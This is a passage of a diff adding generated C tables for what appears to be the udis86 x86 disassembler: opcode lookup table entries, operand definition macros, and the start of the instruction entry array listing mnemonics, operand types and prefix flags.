ud_itab__344, UD_TAB__OPC_OSIZE, "/o" }, + /* 345 */ { ud_itab__345, UD_TAB__OPC_REG, "/reg" }, + /* 346 */ { ud_itab__346, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 347 */ { ud_itab__347, UD_TAB__OPC_REG, "/reg" }, + /* 348 */ { ud_itab__348, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 349 */ { ud_itab__349, UD_TAB__OPC_REG, "/reg" }, + /* 350 */ { ud_itab__350, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 351 */ { ud_itab__351, UD_TAB__OPC_OSIZE, "/o" }, + /* 352 */ { ud_itab__352, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 353 */ { ud_itab__353, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 354 */ { ud_itab__354, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 355 */ { ud_itab__355, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 356 */ { ud_itab__356, UD_TAB__OPC_MOD, "/mod" }, + /* 357 */ { ud_itab__357, UD_TAB__OPC_TABLE, "opctbl" }, + /* 358 */ { ud_itab__358, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 359 */ { ud_itab__359, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 360 */ { ud_itab__360, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 361 */ { ud_itab__361, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 362 */ { ud_itab__362, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 363 */ { ud_itab__363, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 364 */ { ud_itab__364, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 365 */ { ud_itab__365, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 366 */ { ud_itab__366, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 367 */ { ud_itab__367, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 368 */ { ud_itab__368, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 369 */ { ud_itab__369, UD_TAB__OPC_TABLE, "opctbl" }, + /* 370 */ { ud_itab__370, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 371 */ { ud_itab__371, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 372 */ { ud_itab__372, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 373 */ { ud_itab__373, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 374 */ { ud_itab__374, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 375 */ { ud_itab__375, UD_TAB__OPC_OSIZE, "/o" }, + /* 376 */ { ud_itab__376, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 377 */ { ud_itab__377, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 378 */ { ud_itab__378, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 379 */ { ud_itab__379, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 380 */ { ud_itab__380, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 381 */ { ud_itab__381, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 382 */ { ud_itab__382, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 383 */ { ud_itab__383, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 384 */ { ud_itab__384, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 385 */ { ud_itab__385, UD_TAB__OPC_MODE, "/m" }, + /* 386 */ { ud_itab__386, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 387 */ { ud_itab__387, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 388 */ { ud_itab__388, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 389 */ { ud_itab__389, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 390 */ { ud_itab__390, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 391 */ { ud_itab__391, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 392 */ { ud_itab__392, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 393 */ { ud_itab__393, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 394 */ { ud_itab__394, UD_TAB__OPC_TABLE, "opctbl" }, + /* 395 */ { ud_itab__395, UD_TAB__OPC_MOD, "/mod" }, + /* 396 */ { ud_itab__396, UD_TAB__OPC_MOD, "/mod" }, + /* 397 */ { ud_itab__397, UD_TAB__OPC_MOD, "/mod" }, + /* 398 */ { ud_itab__398, UD_TAB__OPC_MOD, "/mod" }, + /* 399 */ { ud_itab__399, UD_TAB__OPC_TABLE, "opctbl" }, + /* 400 */ { ud_itab__400, UD_TAB__OPC_MOD, "/mod" }, + /* 401 */ { ud_itab__401, UD_TAB__OPC_MOD, "/mod" }, + /* 402 */ { ud_itab__402, UD_TAB__OPC_MOD, "/mod" }, + /* 403 */ { ud_itab__403, UD_TAB__OPC_VEX, "/vex" }, + /* 404 */ { ud_itab__404, UD_TAB__OPC_MODE, "/m" }, + /* 405 */ { ud_itab__405, UD_TAB__OPC_REG, "/reg" }, + /* 406 */ { ud_itab__406, UD_TAB__OPC_REG, "/reg" }, + /* 407 */ { ud_itab__407, UD_TAB__OPC_MODE, "/m" }, + /* 408 */ { ud_itab__408, UD_TAB__OPC_OSIZE, "/o" }, + /* 409 */ { ud_itab__409, UD_TAB__OPC_REG, "/reg" }, + /* 410 */ { ud_itab__410, UD_TAB__OPC_REG, "/reg" }, + /* 411 */ { ud_itab__411, UD_TAB__OPC_REG, "/reg" }, + /* 412 */ { ud_itab__412, UD_TAB__OPC_REG, "/reg" }, + /* 413 */ { ud_itab__413, UD_TAB__OPC_MODE, "/m" }, + /* 414 */ { ud_itab__414, UD_TAB__OPC_MODE, "/m" }, + /* 415 */ { ud_itab__415, UD_TAB__OPC_MODE, "/m" }, + /* 416 */ { ud_itab__416, UD_TAB__OPC_MOD, "/mod" }, + /* 417 */ { ud_itab__417, UD_TAB__OPC_REG, "/reg" }, + /* 418 */ { ud_itab__418, UD_TAB__OPC_X87, "/x87" }, + /* 419 */ { ud_itab__419, UD_TAB__OPC_MOD, "/mod" }, + /* 420 */ { ud_itab__420, UD_TAB__OPC_REG, "/reg" }, + /* 421 */ { ud_itab__421, UD_TAB__OPC_X87, "/x87" }, + /* 422 */ { ud_itab__422, UD_TAB__OPC_MOD, "/mod" }, + /* 423 */ { ud_itab__423, UD_TAB__OPC_REG, "/reg" }, + /* 424 */ { ud_itab__424, UD_TAB__OPC_X87, "/x87" }, + /* 425 */ { ud_itab__425, UD_TAB__OPC_MOD, "/mod" }, + /* 426 */ { ud_itab__426, UD_TAB__OPC_REG, "/reg" }, + /* 427 */ { ud_itab__427, UD_TAB__OPC_X87, "/x87" }, + /* 428 */ { ud_itab__428, UD_TAB__OPC_MOD, "/mod" }, + /* 429 */ { ud_itab__429, UD_TAB__OPC_REG, "/reg" }, + /* 430 */ { ud_itab__430, UD_TAB__OPC_X87, "/x87" }, + /* 431 */ { ud_itab__431, UD_TAB__OPC_MOD, "/mod" }, + /* 432 */ { ud_itab__432, UD_TAB__OPC_REG, "/reg" }, + /* 433 */ { ud_itab__433, UD_TAB__OPC_X87, "/x87" }, + /* 434 */ { ud_itab__434, UD_TAB__OPC_MOD, "/mod" }, + /* 435 */ { ud_itab__435, UD_TAB__OPC_REG, "/reg" }, + /* 436 */ { ud_itab__436, UD_TAB__OPC_X87, "/x87" }, + /* 437 */ { ud_itab__437, UD_TAB__OPC_MOD, "/mod" }, + /* 438 */ { ud_itab__438, UD_TAB__OPC_REG, "/reg" }, + /* 439 */ { ud_itab__439, UD_TAB__OPC_X87, "/x87" }, + /* 440 */ { ud_itab__440, UD_TAB__OPC_ASIZE, "/a" }, + /* 441 */ { ud_itab__441, UD_TAB__OPC_MODE, "/m" }, + /* 442 */ { ud_itab__442, UD_TAB__OPC_REG, "/reg" }, + /* 443 */ { ud_itab__443, UD_TAB__OPC_REG, "/reg" }, + /* 444 */ { ud_itab__444, UD_TAB__OPC_REG, "/reg" }, + /* 445 */ { ud_itab__445, UD_TAB__OPC_REG, "/reg" }, + /* 446 */ { ud_itab__446, UD_TAB__OPC_MODE, "/m" }, +}; + +/* itab entry operand definitions (for readability) */ +#define O_AL { OP_AL, SZ_B } +#define O_AX { OP_AX, SZ_W } +#define O_Av { OP_A, SZ_V } +#define O_C { OP_C, SZ_NA } +#define O_CL { OP_CL, SZ_B } +#define O_CS { OP_CS, SZ_NA } +#define O_CX { OP_CX, SZ_W } +#define O_D { OP_D, SZ_NA } +#define O_DL { OP_DL, SZ_B } +#define O_DS { OP_DS, SZ_NA } +#define O_DX { OP_DX, SZ_W } +#define O_E { OP_E, SZ_NA } +#define O_ES { OP_ES, SZ_NA } +#define O_Eb { OP_E, SZ_B } +#define O_Ed { OP_E, SZ_D } +#define O_Eq { OP_E, SZ_Q } +#define O_Ev { OP_E, SZ_V } +#define O_Ew { OP_E, SZ_W } +#define O_Ey { OP_E, SZ_Y } +#define O_Ez { OP_E, SZ_Z } +#define O_FS { OP_FS, SZ_NA } +#define O_Fv { OP_F, SZ_V } +#define O_G { OP_G, SZ_NA } +#define O_GS { OP_GS, SZ_NA } +#define O_Gb { OP_G, SZ_B } +#define O_Gd { OP_G, SZ_D } +#define O_Gq { OP_G, SZ_Q } +#define O_Gv { OP_G, SZ_V } +#define O_Gw { OP_G, SZ_W } +#define O_Gy { OP_G, SZ_Y } +#define O_Gz { OP_G, SZ_Z } +#define O_H { OP_H, SZ_X } +#define O_Hqq { OP_H, SZ_QQ } +#define O_Hx { OP_H, SZ_X } +#define O_I1 { OP_I1, SZ_NA } +#define O_I3 { OP_I3, SZ_NA } +#define O_Ib { OP_I, SZ_B } +#define O_Iv { OP_I, SZ_V } +#define O_Iw { OP_I, SZ_W } +#define O_Iz { OP_I, SZ_Z } +#define O_Jb { OP_J, SZ_B } +#define O_Jv { OP_J, SZ_V } +#define O_Jz { OP_J, SZ_Z } +#define O_L { OP_L, SZ_O } +#define O_Lx { OP_L, SZ_X } +#define O_M { OP_M, SZ_NA } +#define O_Mb { OP_M, SZ_B } +#define O_MbRd { OP_MR, SZ_BD } +#define O_MbRv { OP_MR, SZ_BV } +#define O_Md { OP_M, SZ_D } +#define O_MdRy { OP_MR, SZ_DY } +#define O_MdU { OP_MU, SZ_DO } +#define O_Mdq { OP_M, SZ_DQ } +#define O_Mo { OP_M, SZ_O } +#define O_Mq { OP_M, SZ_Q } +#define O_MqU { OP_MU, SZ_QO } +#define O_Ms { OP_M, SZ_W } +#define O_Mt { OP_M, SZ_T } +#define O_Mv { OP_M, SZ_V } +#define O_Mw { OP_M, SZ_W } +#define O_MwRd { OP_MR, SZ_WD } +#define O_MwRv { OP_MR, SZ_WV } +#define O_MwRy { OP_MR, SZ_WY } +#define O_MwU { OP_MU, SZ_WO } +#define O_N { OP_N, SZ_Q } +#define O_NONE { OP_NONE, SZ_NA } +#define O_Ob { OP_O, SZ_B } +#define O_Ov { OP_O, SZ_V } +#define O_Ow { OP_O, SZ_W } +#define O_P { OP_P, SZ_Q } +#define O_Q { OP_Q, SZ_Q } +#define O_R { OP_R, SZ_RDQ } +#define O_R0b { OP_R0, SZ_B } +#define O_R0v { OP_R0, SZ_V } +#define O_R0w { OP_R0, SZ_W } +#define O_R0y { OP_R0, SZ_Y } +#define O_R0z { OP_R0, SZ_Z } +#define O_R1b { OP_R1, SZ_B } +#define O_R1v { OP_R1, SZ_V } +#define O_R1w { OP_R1, SZ_W } +#define O_R1y { OP_R1, SZ_Y } +#define O_R1z { OP_R1, SZ_Z } +#define O_R2b { OP_R2, SZ_B } +#define O_R2v { OP_R2, SZ_V } +#define O_R2w { OP_R2, SZ_W } +#define O_R2y { OP_R2, SZ_Y } +#define O_R2z { OP_R2, SZ_Z } +#define O_R3b { OP_R3, SZ_B } +#define O_R3v { OP_R3, SZ_V } +#define O_R3w { OP_R3, SZ_W } +#define O_R3y { OP_R3, SZ_Y } +#define O_R3z { OP_R3, SZ_Z } +#define O_R4b { OP_R4, SZ_B } +#define O_R4v { OP_R4, SZ_V } +#define O_R4w { OP_R4, SZ_W } +#define O_R4y { OP_R4, SZ_Y } +#define O_R4z { OP_R4, SZ_Z } +#define O_R5b { OP_R5, SZ_B } +#define O_R5v { OP_R5, SZ_V } +#define O_R5w { OP_R5, SZ_W } +#define O_R5y { OP_R5, SZ_Y } +#define O_R5z { OP_R5, SZ_Z } +#define O_R6b { OP_R6, SZ_B } +#define O_R6v { OP_R6, SZ_V } +#define O_R6w { OP_R6, SZ_W } +#define O_R6y { OP_R6, SZ_Y } +#define O_R6z { OP_R6, SZ_Z } +#define O_R7b { OP_R7, SZ_B } +#define O_R7v { OP_R7, SZ_V } +#define O_R7w { OP_R7, SZ_W } +#define O_R7y { OP_R7, SZ_Y } +#define O_R7z { OP_R7, SZ_Z } +#define O_S { OP_S, SZ_W } +#define O_SS { OP_SS, SZ_NA } +#define O_ST0 { OP_ST0, SZ_NA } +#define O_ST1 { OP_ST1, SZ_NA } +#define O_ST2 { OP_ST2, SZ_NA } +#define O_ST3 { OP_ST3, SZ_NA } +#define O_ST4 { OP_ST4, SZ_NA } +#define O_ST5 { OP_ST5, SZ_NA } +#define O_ST6 { OP_ST6, SZ_NA } +#define O_ST7 { OP_ST7, SZ_NA } +#define O_U { OP_U, SZ_O } +#define O_Ux { OP_U, SZ_X } +#define O_V { OP_V, SZ_DQ } +#define O_Vdq { OP_V, SZ_DQ } +#define O_Vqq { OP_V, SZ_QQ } +#define O_Vsd { OP_V, SZ_Q } +#define O_Vx { OP_V, SZ_X } +#define O_W { OP_W, SZ_DQ } +#define O_Wdq { OP_W, SZ_DQ } +#define O_Wqq { OP_W, SZ_QQ } +#define O_Wsd { OP_W, SZ_Q } +#define O_Wx { OP_W, SZ_X } +#define O_eAX { OP_eAX, SZ_Z } +#define O_eCX { OP_eCX, SZ_Z } +#define O_eDX { OP_eDX, SZ_Z } +#define O_rAX { OP_rAX, SZ_V } +#define O_rCX { OP_rCX, SZ_V } +#define O_rDX { OP_rDX, SZ_V } +#define O_sIb { OP_sI, SZ_B } +#define O_sIv { OP_sI, SZ_V } +#define O_sIz { OP_sI, SZ_Z } + +struct ud_itab_entry ud_itab[] = { + /* 0000 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0001 */ { UD_Iaaa, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0002 */ { UD_Iaad, O_Ib, O_NONE, O_NONE, O_NONE, P_none }, + /* 0003 */ { UD_Iaam, O_Ib, O_NONE, O_NONE, O_NONE, P_none }, + /* 0004 */ { UD_Iaas, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0005 */ { UD_Iadc, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0006 */ { UD_Iadc, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0007 */ { UD_Iadc, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0008 */ { UD_Iadc, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0009 */ { UD_Iadc, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0010 */ { UD_Iadc, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0011 */ { UD_Iadc, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0012 */ { UD_Iadc, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0013 */ { UD_Iadc, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0014 */ { UD_Iadc, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0015 */ { UD_Iadd, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0016 */ { UD_Iadd, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0017 */ { UD_Iadd, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0018 */ { UD_Iadd, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0019 */ { UD_Iadd, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0020 */ { UD_Iadd, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0021 */ { UD_Iadd, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0022 */ { UD_Iadd, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0023 */ { UD_Iadd, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0024 */ { UD_Iadd, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0025 */ { UD_Iaddpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0026 */ { UD_Ivaddpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0027 */ { UD_Iaddps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0028 */ { UD_Ivaddps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0029 */ { UD_Iaddsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0030 */ { UD_Ivaddsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0031 */ { UD_Iaddss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0032 */ { UD_Ivaddss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0033 */ { UD_Iaddsubpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0034 */ { UD_Ivaddsubpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0035 */ { UD_Iaddsubps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0036 */ { UD_Ivaddsubps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0037 */ { UD_Iaesdec, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0038 */ { UD_Ivaesdec, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0039 */ { UD_Iaesdeclast, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0040 */ { UD_Ivaesdeclast, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0041 */ { UD_Iaesenc, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0042 */ { UD_Ivaesenc, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0043 */ { UD_Iaesenclast, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0044 */ { UD_Ivaesenclast, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0045 */ { UD_Iaesimc, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0046 */ { UD_Ivaesimc, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0047 */ { UD_Iaeskeygenassist, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0048 */ { UD_Ivaeskeygenassist, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0049 */ { UD_Iand, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0050 */ { UD_Iand, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0051 */ { UD_Iand, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0052 */ { UD_Iand, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0053 */ { UD_Iand, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0054 */ { UD_Iand, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0055 */ { UD_Iand, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0056 */ { UD_Iand, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0057 */ { UD_Iand, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0058 */ { UD_Iand, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0059 */ { UD_Iandpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0060 */ { UD_Ivandpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0061 */ { UD_Iandps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0062 */ { UD_Ivandps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0063 */ { UD_Iandnpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0064 */ { UD_Ivandnpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0065 */ { UD_Iandnps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0066 */ { UD_Ivandnps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0067 */ { UD_Iarpl, O_Ew, O_Gw, O_NONE, O_NONE, P_aso }, + /* 0068 */ { UD_Imovsxd, O_Gq, O_Ed, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexx|P_rexr|P_rexb }, + /* 0069 */ { UD_Icall, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0070 */ { UD_Icall, O_Eq, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 0071 */ { UD_Icall, O_Fv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0072 */ { UD_Icall, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0073 */ { UD_Icall, O_Av, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0074 */ { UD_Icbw, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0075 */ { UD_Icwde, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0076 */ { UD_Icdqe, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0077 */ { UD_Iclc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0078 */ { UD_Icld, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0079 */ { UD_Iclflush, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0080 */ { UD_Iclgi, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0081 */ { UD_Icli, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0082 */ { UD_Iclts, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0083 */ { UD_Icmc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0084 */ { UD_Icmovo, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0085 */ { UD_Icmovno, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0086 */ { UD_Icmovb, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0087 */ { UD_Icmovae, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0088 */ { UD_Icmovz, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0089 */ { UD_Icmovnz, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0090 */ { UD_Icmovbe, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0091 */ { UD_Icmova, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0092 */ { UD_Icmovs, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0093 */ { UD_Icmovns, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0094 */ { UD_Icmovp, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0095 */ { UD_Icmovnp, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0096 */ { UD_Icmovl, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0097 */ { UD_Icmovge, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0098 */ { UD_Icmovle, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0099 */ { UD_Icmovg, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0100 */ { UD_Icmp, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0101 */ { UD_Icmp, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0102 */ { UD_Icmp, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0103 */ { UD_Icmp, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0104 */ { UD_Icmp, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0105 */ { UD_Icmp, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0106 */ { UD_Icmp, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0107 */ { UD_Icmp, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0108 */ { UD_Icmp, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0109 */ { UD_Icmp, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0110 */ { UD_Icmppd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0111 */ { UD_Ivcmppd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0112 */ { UD_Icmpps, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0113 */ { UD_Ivcmpps, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0114 */ { UD_Icmpsb, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_seg }, + /* 0115 */ { UD_Icmpsw, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw|P_seg }, + /* 0116 */ { UD_Icmpsd, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw|P_seg }, + /* 0117 */ { UD_Icmpsd, O_V, O_W, O_Ib, 